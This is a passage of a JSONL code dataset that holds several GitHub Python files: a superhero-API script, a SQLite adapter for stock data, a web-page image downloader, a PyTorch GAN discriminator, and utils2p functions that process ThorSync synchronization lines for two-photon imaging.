intelligence = item['results'][0]['powerstats']['intelligence']\n return intelligence\n\n\nif __name__ == '__main__':\n list_name = ['Hulk', 'Captain America', 'Thanos']\n list_intell = []\n for item in list_name:\n intelligence = rqst_intell(item, '2619421814940190')\n if intelligence:\n list_intell.append([item, intelligence])\n else:\n print(f\"Неудачный запрос у {item}\")\n list_intell.sort(key=lambda x: x[1])\n print(f'Самый умный супергерой - {list_intell[0][0]}, показатель умственных способностей - {list_intell[0][1]}')\n","repo_name":"gosp1nord/9_http_requests","sub_path":"task_1.py","file_name":"task_1.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71646121959","text":"import datetime\r\nimport sqlalchemy\r\nimport sqlalchemy.orm\r\n\r\nimport tables\r\nimport tables.twsedaily\r\nimport tables.fetched_date\r\nimport tables.transaction_history\r\n\r\n\r\nclass SqliteAdapter:\r\n def __init__(self, db_conf: dict):\r\n db_string = f\"sqlite:///{db_conf['location']}\"\r\n engine = sqlalchemy.create_engine(db_string)\r\n session = sqlalchemy.orm.sessionmaker(engine)\r\n session.configure(bind=engine)\r\n self.session = session()\r\n tables.twsedaily.get_table(tables.base.metadata)\r\n tables.fetched_date.get_table(tables.base.metadata)\r\n tables.transaction_history.get_table(tables.base.metadata)\r\n tables.base.metadata.create_all(engine)\r\n\r\n def query_fetched_date(self):\r\n return [d.date for d in self.session.query(tables.fetched_date.FetchedDate).all()]\r\n\r\n def query_transaction_histories(self) -> [tables.transaction_history.TransactionHistory]:\r\n return self.session.query(tables.transaction_history.TransactionHistory).order_by(\r\n tables.transaction_history.TransactionHistory.date.desc()).all()\r\n\r\n def insert_daily_stocks(self, stock_data: list, fetched_date: datetime.date):\r\n self._insert_fetched_date(fetched_date, stock_data != [])\r\n self._insert_stocks(stock_data, fetched_date)\r\n\r\n def insert_transaction_histories(self, transaction_data: list):\r\n fetched_records = [tables.transaction_history.to_transaction_history(t) for t in transaction_data]\r\n old_records = self.session.query(tables.transaction_history.TransactionHistory).all()\r\n new_records = self._get_insertable_transaction_histories(fetched_records, old_records)\r\n if not new_records:\r\n return\r\n self.session.add_all(new_records)\r\n self.session.commit()\r\n self.session.flush()\r\n\r\n def _get_insertable_transaction_histories(\r\n self, new: [tables.transaction_history.TransactionHistory],\r\n old: [tables.transaction_history.TransactionHistory]) -> [tables.transaction_history.TransactionHistory]:\r\n d = {(r.commissionId, r.date): r for r in old}\r\n return list(filter(lambda x: (x.commissionId, x.date) not in d, new))\r\n\r\n def _insert_fetched_date(self, fetched_date: datetime.date, is_transaction_date: bool):\r\n record = tables.fetched_date.to_fetched_date(fetched_date, is_transaction_date)\r\n self.session.add(record)\r\n self.session.commit()\r\n self.session.flush()\r\n\r\n def _insert_stocks(self, stock_data: list, fetched_date: datetime.date):\r\n records = [tables.twsedaily.to_twse_daily(data, fetched_date) for data in stock_data]\r\n self.session.add_all(records)\r\n self.session.commit()\r\n self.session.flush()\r\n\r\n def query_stock_after_date(self, date: datetime.date):\r\n return self.session.query(tables.twsedaily.TwseDaily).filter(\r\n tables.twsedaily.TwseDaily.date > date).order_by(\r\n tables.twsedaily.TwseDaily.sid, tables.twsedaily.TwseDaily.date.desc()).all()\r\n\r\n def query_latest_stock(self):\r\n records = self.session.query(tables.twsedaily.TwseDaily).filter(\r\n tables.twsedaily.TwseDaily.date > datetime.date.today()).all()\r\n if records:\r\n return records\r\n else:\r\n return self.session.query(tables.twsedaily.TwseDaily).filter(\r\n tables.twsedaily.TwseDaily.date > datetime.date.today() + datetime.timedelta(days=-1)).all()\r\n\r\n\r\n def reset(self):\r\n self.session.query(tables.twsedaily.TwseDaily).delete()\r\n self.session.query(tables.fetched_date.FetchedDate).delete()\r\n self.session.commit()\r\n self.session.flush()\r\n","repo_name":"tp6vup54/myStock","sub_path":"db/sqlite.py","file_name":"sqlite.py","file_ext":"py","file_size_in_byte":3707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"23464437180","text":"\"\"\"Ths module contains ...\"\"\"\r\nimport concurrent.futures\r\nimport functools\r\nimport logging\r\nimport pathlib\r\nfrom typing import Generator\r\nfrom urllib.parse import urlparse\r\n\r\nfrom bs4 import BeautifulSoup\r\nimport requests\r\n\r\n\r\nLOGGER = logging.getLogger(__name__)\r\n\r\n\r\ndef get_page_content(url: str) -> str:\r\n \"\"\"Gets content of page.\"\"\"\r\n response = requests.get(url)\r\n content = response.text\r\n return content\r\n\r\n\r\ndef get_image_name_from_url(url: str) -> str:\r\n \"\"\"Gets image name from image URL.\"\"\"\r\n url_components = urlparse(url)\r\n image_path = pathlib.Path(url_components.path)\r\n image_name = image_path.name\r\n if not image_path.suffix:\r\n image_name = f'{image_name}.jpg'\r\n return image_name\r\n\r\n\r\ndef get_image_urls_from_html(text: str) -> Generator:\r\n \"\"\"Gets image URLs from HTML document.\"\"\"\r\n soup = BeautifulSoup(text, 'html.parser')\r\n for image in soup.find_all('img'):\r\n image_url = image.get('src')\r\n components = urlparse(image_url)\r\n if components.scheme and components.netloc: # Trying to validate URL.\r\n yield image_url\r\n\r\n\r\ndef download_image(url: str, folder: str) -> None:\r\n \"\"\"Downloads image from URL to a folder.\"\"\"\r\n image_name = get_image_name_from_url(url)\r\n image_absolute_path = pathlib.Path(folder) / image_name\r\n response = requests.get(url, stream=True)\r\n if response.status_code == 200:\r\n with open(image_absolute_path, 'wb') as image_file:\r\n image_file.write(response.content)\r\n LOGGER.info('[%s] %s', 'V', url)\r\n else:\r\n LOGGER.info('[%s] %s', 'X', url)\r\n\r\ndef download_images_from_page(url: str, folder: str) -> None:\r\n \"\"\"Downloads images from web page.\"\"\"\r\n content = get_page_content(url)\r\n urls = get_image_urls_from_html(content)\r\n func = functools.partial(download_image, folder=folder)\r\n with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:\r\n executor.map(func, list(urls))\r\n","repo_name":"EvilSpeedcore/packaging-lecture","sub_path":"imgsaver/imgsaver/imgsaver.py","file_name":"imgsaver.py","file_ext":"py","file_size_in_byte":1988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"35617375748","text":"import torch\nimport torch.nn as nn\nimport torch.utils.data\nimport torch.nn.functional as F\nimport torch.optim as optim\n\n\n# Discriminator\nclass Discriminator(nn.Module):\n def __init__(self, input_size, hidden_size, output_size):\n super(Discriminator, self).__init__()\n self.map1 = nn.Linear(input_size, hidden_size)\n self.map2 = nn.Linear(hidden_size, hidden_size)\n self.map3 = nn.Linear(hidden_size, output_size)\n\n def forward(self, x):\n x = self.map1(x)\n x = F.elu(x)\n x = self.map2(x)\n x = F.elu(x)\n x = self.map3(x)\n return F.sigmoid(x)","repo_name":"KiemNguyen/generative-adversarial-networks-for-fraud-detection","sub_path":"discriminator.py","file_name":"discriminator.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"26229547533","text":"\"\"\"\nSynchronization module\n======================\n\nThis module provides functions to process the synchronization data\nacquired with Thor Sync during imaging.\n\"\"\"\nimport warnings\nimport json\n\nimport numpy as np\nimport h5py\nimport scipy.signal\n\nimport utils2p.main as main\n\n\nclass SynchronizationError(Exception):\n \"\"\"The input data is not consistent with synchronization assumption.\"\"\"\n\n\ndef get_lines_from_h5_file(file_path, line_names):\n warnings.warn(\n \"get_lines_from_h5_file is deprecated use get_lines_from_sync_file instead\",\n DeprecationWarning)\n return get_lines_from_sync_file(file_path, line_names)\n\n\ndef get_lines_from_sync_file(file_path, line_names):\n \"\"\"\n This function returns the values of the requested lines save in\n an h5 generated by ThorSync.\n\n Parameters\n ----------\n file_path : string\n Path to h5 file.\n line_names : list of strings\n List of the ThorSync line names to be returned.\n\n Returns\n -------\n lines : tuple\n Line arrays in the same order as given in line_names.\n\n Examples\n --------\n >>> import utils2p\n >>> import utils2p.synchronization\n >>> h5_file = utils2p.find_sync_file(\"data/mouse_kidney_z_stack\")\n >>> line_names = [\"Frame Counter\", \"Capture On\"]\n >>> frame_counter, capture_on = utils2p.synchronization.get_lines_from_h5_file(h5_file, line_names)\n >>> type(frame_counter)\n \n >>> frame_counter.shape\n (54000,)\n >>> type(capture_on)\n \n >>> capture_on.shape\n (54000,)\n \"\"\"\n lines = []\n\n with h5py.File(file_path, \"r\") as f:\n for name in line_names:\n lines_with_this_name = []\n for line_type in (\"DI\", \"CI\", \"AI\"):\n try:\n lines_with_this_name.append(\n f[line_type][name][:].squeeze())\n except KeyError:\n pass\n if len(lines_with_this_name) == 1:\n lines.append(lines_with_this_name[0])\n elif len(lines_with_this_name) == 0:\n DI_keys = list(f[\"DI\"].keys())\n CI_keys = list(f[\"CI\"].keys())\n AI_keys = list(f[\"AI\"].keys())\n raise KeyError(\n f\"No line named '{name}' exists. The digital lines are \" +\n f\"{DI_keys}, the continuous lines are {CI_keys}, \" +\n f\"and the analogue inputs are {AI_keys}.\")\n else:\n DI_keys = list(f[\"DI\"].keys())\n CI_keys = list(f[\"CI\"].keys())\n AI_keys = list(f[\"AI\"].keys())\n raise KeyError(\n f\"Multiple lines named '{name}' exist. \" +\n f\"The digital lines are {DI_keys}, the continuous lines \" +\n + f\"are {CI_keys}, and the analogue inputs are {AI_keys}.\"\n )\n return tuple(lines)\n\n\ndef get_times(length, freq):\n \"\"\"\n This function returns the time point of each tick\n for a given sequence length and tick frequency.\n\n Parameters\n ----------\n length : int\n Length of sequence.\n freq : float\n Frequency in Hz.\n\n Returns\n -------\n times : array\n Times in seconds.\n\n Examples\n --------\n >>> import utils2p.synchronization\n >>> utils2p.synchronization.get_times(5, 20)\n array([0. , 0.05, 0.1 , 0.15, 0.2 ])\n \"\"\"\n times = np.arange(0, length / freq, 1 / freq)\n return times\n\n\ndef edges(line, size=0, correct_possible_split_edges=True):\n \"\"\"\n Returns the indices of edges in a line. An\n edge is change in value of the line. A size\n argument can be specified to filter for changes\n of specific magnitude. By default only rising\n edges (increases in value) are returned.\n\n Parameters\n ----------\n line : numpy array\n Line signal from h5 file.\n size : float or tuple\n Size of the rising edge. If float it is used as minimum.\n Tuples specify a range. To get falling edges use negative values.\n Only one boundary can be applied using np.inf as one of the values.\n All boundaries are excluding the specified value.\n correct_possible_split_edges : boolean\n The rise or fall of an edge can in some cases be spread over\n several ticks. If `True` these \"blurry\" edges are sharpened\n with :func:`utils2p.synchronization.correct_split_edges`.\n Default is True.\n\n Returns\n -------\n indices : list\n Indices of the rising edges.\n\n Examples\n --------\n >>> import utils2p.synchronization\n >>> import numpy as np\n >>> binary_line = np.array([0, 1, 1, 0, 1, 1])\n >>> utils2p.synchronization.edges(binary_line)\n (array([1, 4]),)\n >>> utils2p.synchronization.edges(binary_line, size=2)\n (array([], dtype=int64),)\n >>> utils2p.synchronization.edges(binary_line, size=(-np.inf, np.inf))\n (array([1, 3, 4]),)\n >>> continuous_line = np.array([0, 0, 3, 3, 3, 5, 5, 8, 8, 10, 10, 10])\n >>> utils2p.synchronization.edges(continuous_line)\n (array([2, 5, 7, 9]),)\n >>> utils2p.synchronization.edges(continuous_line, size=2)\n (array([2, 7]),)\n >>> utils2p.synchronization.edges(continuous_line, size=(-np.inf, 3))\n (array([5, 9]),)\n \"\"\"\n if correct_possible_split_edges:\n line = correct_split_edges(line)\n diff = np.diff(line.astype(np.float64))\n if isinstance(size, tuple):\n zero_elements = np.isclose(diff, np.zeros_like(diff))\n edges_in_range = np.logical_and(diff > size[0], diff < size[1])\n valid_edges = np.logical_and(edges_in_range,\n np.logical_not(zero_elements))\n indices = np.where(valid_edges)\n else:\n indices = np.where(diff > size)\n indices = tuple(i + 1 for i in indices)\n return indices\n\n\ndef correct_split_edges(line):\n \"\"\"\n This function corrects edges that are spread over multiple ticks.\n\n Parameters\n ----------\n line : numpy array\n The line for which the edges should be corrected.\n\n Returns\n -------\n line : numpy array\n Line with corrected edges.\n\n Examples\n --------\n >>> import numpy as np\n >>> import utils2p.synchronization\n >>> line = np.array([0, 0, 0, 1, 2, 3, 3, 3, 2, 1, 0, 0, 0])\n >>> utils2p.synchronization.correct_split_edges(line)\n array([0, 0, 0, 3, 3, 3, 3, 3, 3, 3, 0, 0, 0])\n \"\"\"\n rising_edges = np.where(np.diff(line) > 0)[0] + 1\n falling_edges = np.where(np.diff(line) < 0)[0]\n\n split_rising_edges = np.where(np.diff(rising_edges) == 1)[0]\n split_falling_edges = np.where(np.diff(falling_edges) == 1)[0]\n\n if len(split_rising_edges) == 0 and len(split_falling_edges) == 0:\n return line\n\n first_halfs_rising = rising_edges[split_rising_edges]\n second_halfs_rising = rising_edges[split_rising_edges + 1]\n line[first_halfs_rising] = line[second_halfs_rising]\n\n first_halfs_falling = falling_edges[split_falling_edges]\n second_halfs_falling = falling_edges[split_falling_edges + 1]\n line[second_halfs_falling] = line[first_halfs_falling]\n\n # Recursive to get edges spread over more than two ticks\n return correct_split_edges(line)\n\n\ndef get_start_times(line, times, zero_based_counter=False):\n \"\"\"\n Get the start times of a digital signal,\n i.e. the times of the rising edges.\n If the line is a zero based counter, such as the processed \n `frame_counter` or the processed `cam_line`, there is a\n possibility that the first element in line is already zero.\n This corresponds to the case where the acquisition of the\n first frame was triggered before ThorSync started.\n If `zero_based_counter` is `False` this frame will be\n dropped, i.e. no time for the frame is returned, since\n there is no rising edge corresponding to the frame.\n\n Parameters\n ----------\n line : numpy array\n Line signal from h5 file.\n times : numpy array\n Times returned by :func:`utils2p.synchronization.get_times`\n zero_based_counter : boolean\n Indicates whether the line is a zero based counter.\n\n Returns\n -------\n time_points : list\n List of the start times.\n\n Examples\n --------\n >>> import utils2p.synchronization\n >>> import numpy as np\n >>> binary_line = np.array([0, 1, 1, 0, 1, 1])\n >>> times = utils2p.synchronization.get_times(len(binary_line), freq=20)\n >>> times\n array([0. , 0.05, 0.1 , 0.15, 0.2 , 0.25])\n >>> utils2p.synchronization.get_start_times(binary_line, times)\n array([0.05, 0.2 ])\n \"\"\"\n indices = edges(line, size=(0, np.inf))\n if zero_based_counter and line[0] >= 0:\n if line[0] > 0:\n warnings.warn(f\"The counter start with value {line[0]}\")\n indices_with_first_frame = np.zeros(len(indices[0]) + 1, dtype=int)\n indices_with_first_frame[1:] = indices[0]\n indices = (indices_with_first_frame, )\n time_points = times[indices]\n return time_points\n\n\ndef _capture_metadata(n_frames, dropped_frames=None):\n \"\"\"\n Returns a dictionary as it is usually saved by the seven\n camera setup in the \"capture_metadata.json\" file.\n It assumes that no frames where dropped.\n\n Parameters\n ----------\n n_frames : list of integers\n Number of frames for each camera.\n dropped_frames : list of list of integers\n Frames that were dropped for each camera.\n Default is None which means no frames where\n dropped.\n\n Returns\n -------\n capture_info : dict\n Default metadata dictionary for the seven camera\n system.\n \"\"\"\n if dropped_frames is None:\n dropped_frames = [[] for i in range(len(n_frames))]\n capture_info = {\"Frame Counts\": {}}\n for cam_idx, n in enumerate(n_frames):\n frames_dict = {}\n current_frame = 0\n for i in range(n):\n while current_frame in dropped_frames[cam_idx]:\n current_frame += 1\n frames_dict[str(i)] = current_frame\n current_frame += 1\n capture_info[\"Frame Counts\"][str(cam_idx)] = frames_dict\n return capture_info\n\n\ndef process_cam_line(line, seven_camera_metadata):\n \"\"\"\n Removes superfluous signals and uses frame numbers in array.\n The cam line signal form the h5 file is a binary sequence.\n Rising edges mark the acquisition of a new frame.\n The setup keeps producing rising edges after the acquisition of the\n last frame. These rising edges are ignored.\n This function converts the binary line to frame numbers using the\n information stored in the metadata file of the seven camera setup.\n In the metadata file the keys are the indices of the file names\n and the values are the grabbed frame numbers. Suppose the 3\n frame was dropped. Then the entries in the dictionary will\n be as follows:\n \"2\": 2\n \"3\": 4\n \"4\": 5\n\n Parameters\n ----------\n line : numpy array\n Line signal from h5 file.\n seven_camera_metadata : string\n Path to the json file saved by our camera software.\n This file is usually located in the same folder as the frames\n and is called 'capture_metadata.json'. If None, it is assumed\n that no frames were dropped.\n\n Returns\n -------\n processed_line : numpy array\n Array with frame number for each time point.\n If no frame is available for a given time,\n the value is -9223372036854775808.\n\n Examples\n --------\n >>> import utils2p\n >>> import utils2p.synchronization\n >>> import numpy as np\n >>> h5_file = utils2p.find_sync_file(\"data/mouse_kidney_raw\")\n >>> seven_camera_metadata = utils2p.find_seven_camera_metadata_file(\"data/mouse_kidney_raw\")\n >>> line_names = [\"Basler\"]\n >>> (cam_line,) = utils2p.synchronization.get_lines_from_h5_file(h5_file, line_names)\n >>> set(np.diff(cam_line))\n {0, 8, 4294967288}\n >>> processed_cam_line = utils2p.synchronization.process_cam_line(cam_line, seven_camera_metadata)\n >>> set(np.diff(processed_cam_line))\n {0, 1, -9223372036854775808, 9223372036854775749}\n >>> cam_line = np.array([0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0])\n >>> utils2p.synchronization.process_cam_line(cam_line, seven_camera_metadata=None)\n array([-9223372036854775808, 0, 0,\n 0, 0, 0,\n 1, 1, 1,\n 1, 1])\n \"\"\"\n # Check that sequence is binary\n if len(set(line)) > 2:\n raise ValueError(\"Invalid line argument. Sequence is not binary.\")\n\n # Find indices of the start of each frame acquisition\n rising_edges = edges(line, (0, np.inf))[0]\n\n # Load capture metadata or generate default\n if seven_camera_metadata is not None:\n with open(seven_camera_metadata, \"r\") as f:\n capture_info = json.load(f)\n else:\n capture_info = _capture_metadata([\n len(rising_edges),\n ])\n\n # Find the number of frames for each camera\n n_frames = []\n for cam_idx in capture_info[\"Frame Counts\"].keys():\n max_in_json = max(capture_info[\"Frame Counts\"][cam_idx].values())\n n_frames.append(max_in_json + 1)\n\n # Ensure all cameras acquired the same number of frames\n if len(np.unique(n_frames)) > 1:\n raise SynchronizationError(\n \"The frames across cameras are not synchronized.\")\n\n # Last rising edge that corresponds to a frame\n last_tick = max(n_frames)\n\n # check that there is a rising edge for every frame\n if len(rising_edges) < last_tick:\n raise ValueError(\n \"The provided cam line and metadata are inconsistent. \" +\n \"cam line has less frame acquisitions than metadata.\")\n\n # Ensure correct handling if no rising edges are present after last frame\n if len(rising_edges) == int(last_tick):\n average_frame_length = int(np.mean(np.diff(rising_edges)))\n last_rising_edge = rising_edges[-1]\n additional_edge = last_rising_edge + average_frame_length\n if additional_edge > len(line):\n additional_edge = len(line)\n rising_edges = list(rising_edges)\n rising_edges.append(additional_edge)\n rising_edges = np.array(rising_edges)\n\n processed_line = np.ones_like(line) * np.nan\n\n current_frame = 0\n first_camera_used = sorted(list(capture_info[\"Frame Counts\"].keys()))[0]\n for i, (start, stop) in enumerate(\n zip(rising_edges[:last_tick], rising_edges[1:last_tick + 1])):\n if capture_info[\"Frame Counts\"][first_camera_used][str(current_frame +\n 1)] <= i:\n current_frame += 1\n processed_line[start:stop] = current_frame\n return processed_line.astype(np.int)\n\n\ndef process_frame_counter(line, metadata=None, steps_per_frame=None):\n \"\"\"\n Converts the frame counter line to an array with frame numbers for each\n time point.\n\n Parameters\n ----------\n line : numpy array\n Line signal from h5 file.\n metadata : :class:`utils2p.Metadata`\n :class:`utils2p.Metadata` object that holding the 2p imaging\n metadata for the experiment. Optional. If metadata is not\n given steps_per_frame has to be set.\n steps_per_frame : int\n Number of steps the frame counter takes per frame.\n This includes fly back frames and averaging, i.e. if you\n acquire one frame and flyback frames is set to 3 this number\n should be 4.\n\n Returns\n -------\n processed_frame_counter : numpy array\n Array with frame number for each time point.\n If no frame was recorded at a time point, \n the value is -9223372036854775808.\n\n Examples\n --------\n >>> import utils2p\n >>> import utils2p.synchronization\n >>> h5_file = utils2p.find_sync_file(\"data/mouse_kidney_z_stack\")\n >>> line_names = [\"Frame Counter\",]\n >>> (frame_counter,) = utils2p.synchronization.get_lines_from_h5_file(h5_file, line_names)\n >>> set(frame_counter)\n {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30}\n >>> metadata_file = utils2p.find_metadata_file(\"data/mouse_kidney_z_stack\")\n >>> metadata = utils2p.Metadata(metadata_file)\n >>> processed_frame_counter = utils2p.synchronization.process_frame_counter(frame_counter, metadata)\n >>> set(processed_frame_counter)\n {0, -9223372036854775808}\n >>> steps_per_frame = metadata.get_n_z() * metadata.get_n_averaging()\n >>> steps_per_frame\n 30\n >>> processed_frame_counter = utils2p.synchronization.process_frame_counter(frame_counter, steps_per_frame=steps_per_frame)\n >>> set(processed_frame_counter)\n {0, -9223372036854775808}\n\n By default the function treat volumes as frames.\n If you want to treat every slice of the volume as a separate frame,\n you can do so by `steps_per_frame`. The example has three steps in z.\n \n >>> steps_per_frame = metadata.get_n_averaging()\n >>> steps_per_frame\n 10\n >>> processed_frame_counter = utils2p.synchronization.process_frame_counter(frame_counter, steps_per_frame=steps_per_frame)\n >>> set(processed_frame_counter)\n {0, 1, 2, -9223372036854775808}\n \"\"\"\n if metadata is not None and steps_per_frame is not None:\n warnings.warn(\"metadata argument will be ignored \" +\n \"because steps_per_frame argument was set.\")\n if metadata is not None and not isinstance(metadata, main.Metadata):\n raise TypeError(\n \"metadata argument must be of type utils2p.Metadata or None.\")\n if steps_per_frame is not None and not isinstance(steps_per_frame, int):\n raise TypeError(f\"steps_per_frame has to be of type int not {type(steps_per_frame)}\")\n\n if metadata is not None and steps_per_frame is None:\n if metadata.get_value(\"Streaming\", \"zFastEnable\") == \"0\":\n steps_per_frame = 1\n else:\n steps_per_frame = metadata.get_n_z()\n if metadata.get_value(\"Streaming\", \"enable\") == \"1\":\n steps_per_frame += metadata.get_n_flyback_frames()\n if metadata.get_value(\n \"LSM\",\n \"averageMode\") == \"1\" and metadata.get_area_mode() not in [\n \"line\", \"kymograph\"\n ]:\n steps_per_frame = steps_per_frame * metadata.get_n_averaging()\n elif steps_per_frame is None:\n raise ValueError(\"If no metadata object is given, \" +\n \"the steps_per_frame argument has to be set.\")\n\n processed_frame_counter = np.ones_like(line) * np.nan\n rising_edges = edges(line, (0, np.inf))[0]\n\n # Case of one frame/volume only\n if len(rising_edges) <= steps_per_frame:\n processed_frame_counter[rising_edges[0]:] = 0\n return processed_frame_counter.astype(np.int)\n\n for i, index in enumerate(\n range(0,\n len(rising_edges) - steps_per_frame, steps_per_frame)):\n processed_frame_counter[\n rising_edges[index]:rising_edges[index + steps_per_frame]] = i\n processed_frame_counter[rising_edges[-1 * steps_per_frame]:] = (\n processed_frame_counter[rising_edges[-1 * steps_per_frame] - 1] + 1)\n return processed_frame_counter.astype(np.int)\n\n\ndef process_stimulus_line(line):\n \"\"\"\n This function converts the stimulus line to an array with\n 0s and 1s for stimulus off and on respectively. The raw\n stimulus line can contain values larger than 1.\n\n Parameters\n ----------\n line : numpy array\n Line signal from h5 file.\n\n Returns\n -------\n processed_frame_counter : numpy array\n Array with binary stimulus state for each time point.\n\n Examples\n --------\n >>> import utils2p\n >>> import utils2p.synchronization\n >>> import numpy as np\n >>> h5_file = utils2p.find_sync_file(\"data/mouse_kidney_raw\")\n >>> line_names = [\"CO2_Stim\"]\n >>> (stimulus_line,) = utils2p.synchronization.get_lines_from_h5_file(h5_file, line_names)\n >>> set(stimulus_line)\n {0, 4}\n >>> processed_stimulus_line = utils2p.synchronization.process_stimulus_line(stimulus_line)\n >>> set(processed_stimulus_line)\n {0, 1}\n \"\"\"\n processed_stimulus_line = np.zeros_like(line)\n indices = np.where(line > 0)\n processed_stimulus_line[indices] = 1\n return processed_stimulus_line.astype(np.int)\n\n\ndef process_optical_flow_line(line):\n \"\"\"\n This function converts the optical flow line\n into a step function. The value corresponds\n to the index of optical flow value at this\n time point. If the value is -9223372036854775808, no optical flow\n value was recorded for this time point.\n\n Note: Due to the time it takes to transfer the data\n from the Arduino to the computer it is possible that\n the last optical flow data point is missing, i.e.\n the processed optical flow line indicates one more\n data point than the text file contains. This can be\n solved by cropping all lines before the acquisition\n of the last optical flow data point. Lines can be\n cropped with :func:`crop_lines`.\n\n Parameters\n ----------\n line : numpy array\n Line signal for h5 file.\n\n Returns\n -------\n processed_optical_flow_line : numpy array\n Array with monotonically increasing step\n function.\n\n Examples\n --------\n >>> import utils2p\n >>> import utils2p.synchronization\n >>> import numpy as np\n >>> h5_file = utils2p.find_sync_file(\"data/mouse_kidney_raw\")\n >>> line_names = [\"OpFlow\"]\n >>> (optical_flow_line,) = utils2p.synchronization.get_lines_from_h5_file(h5_file, line_names)\n >>> set(optical_flow_line)\n {0, 16}\n >>> processed_optical_flow_line = utils2p.synchronization.process_optical_flow_line(optical_flow_line)\n >>> len(set(processed_optical_flow_line))\n 1409\n \"\"\"\n processed_optical_flow_line = np.ones_like(line) * np.nan\n rising_edges = edges(line, (0, np.inf))[0]\n for i in range(0, len(rising_edges) - 1):\n processed_optical_flow_line[rising_edges[i]:rising_edges[i + 1]] = i\n processed_optical_flow_line[rising_edges[-1]:] = (\n processed_optical_flow_line[rising_edges[-1] - 1] + 1)\n return processed_optical_flow_line.astype(np.int)\n\n\ndef crop_lines(mask, lines):\n \"\"\"\n This function crops all lines based on a binary signal/mask.\n The 'Capture On' line of the h5 file can be used as a mask.\n\n Parameters\n ----------\n mask : numpy array\n Mask that is used for cropping.\n lines : list of numpy arrays\n List of the lines that should be cropped.\n\n Returns\n -------\n cropped_lines : tuple of numpy arrays\n Tuple of cropped lines in same order as in input list.\n\n Examples\n --------\n >>> import utils2p\n >>> import utils2p.synchronization\n >>> import numpy as np\n >>> h5_file = utils2p.find_sync_file(\"data/mouse_kidney_raw\")\n >>> line_names = [\"Frame Counter\", \"Capture On\", \"CO2_Stim\", \"OpFlow\"]\n >>> (frame_counter, capture_on, stimulus_line, optical_flow_line,) = utils2p.synchronization.get_lines_from_h5_file(h5_file, line_names)\n >>> frame_counter = utils2p.synchronization.process_frame_counter(frame_counter, steps_per_frame=4)\n >>> len(frame_counter), len(capture_on), len(stimulus_line), len(optical_flow_line)\n (117000, 117000, 117000, 117000)\n >>> mask = np.logical_and(frame_counter >= 0, capture_on)\n >>> np.sum(mask)\n 105869\n >>> (frame_counter, capture_on, stimulus_line, optical_flow_line,) = utils2p.synchronization.crop_lines(mask, (frame_counter, capture_on, stimulus_line, optical_flow_line,))\n >>> len(frame_counter), len(capture_on), len(stimulus_line), len(optical_flow_line)\n (105869, 105869, 105869, 105869)\n >>> line = np.arange(10)\n >>> mask = np.ones(10, dtype=bool)\n >>> mask[0] = False\n >>> mask[-1] = False\n >>> mask[4] = False\n >>> utils2p.synchronization.crop_lines(mask, (line,))\n (array([1, 2, 3, 4, 5, 6, 7, 8]),)\n \"\"\"\n indices = np.where(mask)[0]\n first_idx = indices[0]\n last_idx = indices[-1]\n cropped_lines = []\n for line in lines:\n cropped_lines.append(line[first_idx:last_idx + 1])\n return tuple(cropped_lines)\n\n\ndef beh_idx_to_2p_idx(beh_indices, cam_line, frame_counter):\n \"\"\"\n This functions converts behaviour frame numbers into the corresponding\n 2p frame numbers.\n\n Parameters\n ----------\n beh_indices : numpy array\n Indices of the behaviour frames to be converted.\n cam_line : numpy array\n Processed cam line.\n frame_counter : numpy array\n Processed frame counter.\n\n Returns\n -------\n indices_2p : numpy array\n Corresponding 2p frame indices.\n\n Examples\n --------\n >>> import utils2p\n >>> import utils2p.synchronization\n >>> import numpy as np\n >>> h5_file = utils2p.find_sync_file(\"data/mouse_kidney_raw\")\n >>> line_names = [\"Frame Counter\", \"Basler\"]\n >>> (frame_counter, cam_line,) = utils2p.synchronization.get_lines_from_h5_file(h5_file, line_names)\n >>> frame_counter = utils2p.synchronization.process_frame_counter(frame_counter, steps_per_frame=4)\n >>> seven_camera_metadata = utils2p.find_seven_camera_metadata_file(\"data/mouse_kidney_raw\")\n >>> cam_line = utils2p.synchronization.process_cam_line(cam_line, seven_camera_metadata)\n >>> utils2p.synchronization.beh_idx_to_2p_idx(np.array([0,]), cam_line, frame_counter)\n array([-9223372036854775808])\n >>> utils2p.synchronization.beh_idx_to_2p_idx(np.array([10,]), cam_line, frame_counter)\n array([0])\n >>> utils2p.synchronization.beh_idx_to_2p_idx(np.arange(30), cam_line, frame_counter)\n array([-9223372036854775808, 0, 0,\n 0, 0, 0,\n 0, 0, 0,\n 0, 0, 0,\n 0, 0, 0,\n 0, 0, 0,\n 0, 0, 0,\n 0, 1, 1,\n 1, 1, 1,\n 1, 1, 1])\n \"\"\"\n thor_sync_indices = edges(cam_line)[0]\n if not cam_line[0] < 0:\n thor_sync_indices = np.append(np.array([0]), thor_sync_indices)\n\n indices_2p = np.ones(len(beh_indices), dtype=np.int) * np.nan\n\n first_frame_of_cam_line = np.min(cam_line[np.where(cam_line >= 0)])\n\n for i, frame_num in enumerate(beh_indices):\n\n # This is necessary for cropped lines that don't start at 0\n frame_num = frame_num - first_frame_of_cam_line\n if frame_num < 0:\n raise ValueError(f\"{frame_num + first_frame_of_cam_line} is smaller than first frame in cam_line ({first_frame_of_cam_line})\")\n\n thor_sync_index = thor_sync_indices[frame_num]\n indices_2p[i] = frame_counter[thor_sync_index]\n\n return indices_2p.astype(np.int)\n\n\ndef reduce_during_2p_frame(frame_counter, values, function):\n \"\"\"\n Reduces all values occurring during the acquisition of a\n 2-photon frame to a single value using the `function`\n given by the user.\n\n Parameters\n ----------\n frame_counter : numpy array\n Processed frame counter.\n values : numpy array\n Values upsampled to the frequency of ThorSync,\n i.e. 1D numpy array of the same length as\n `frame_counter`.\n function : function\n Function used to reduce the value,\n e.g. np.mean.\n\n Returns\n -------\n reduced : numpy array\n Numpy array with value for each 2p frame.\n\n Examples\n --------\n >>> import utils2p\n >>> import utils2p.synchronization\n >>> import numpy as np\n >>> h5_file = 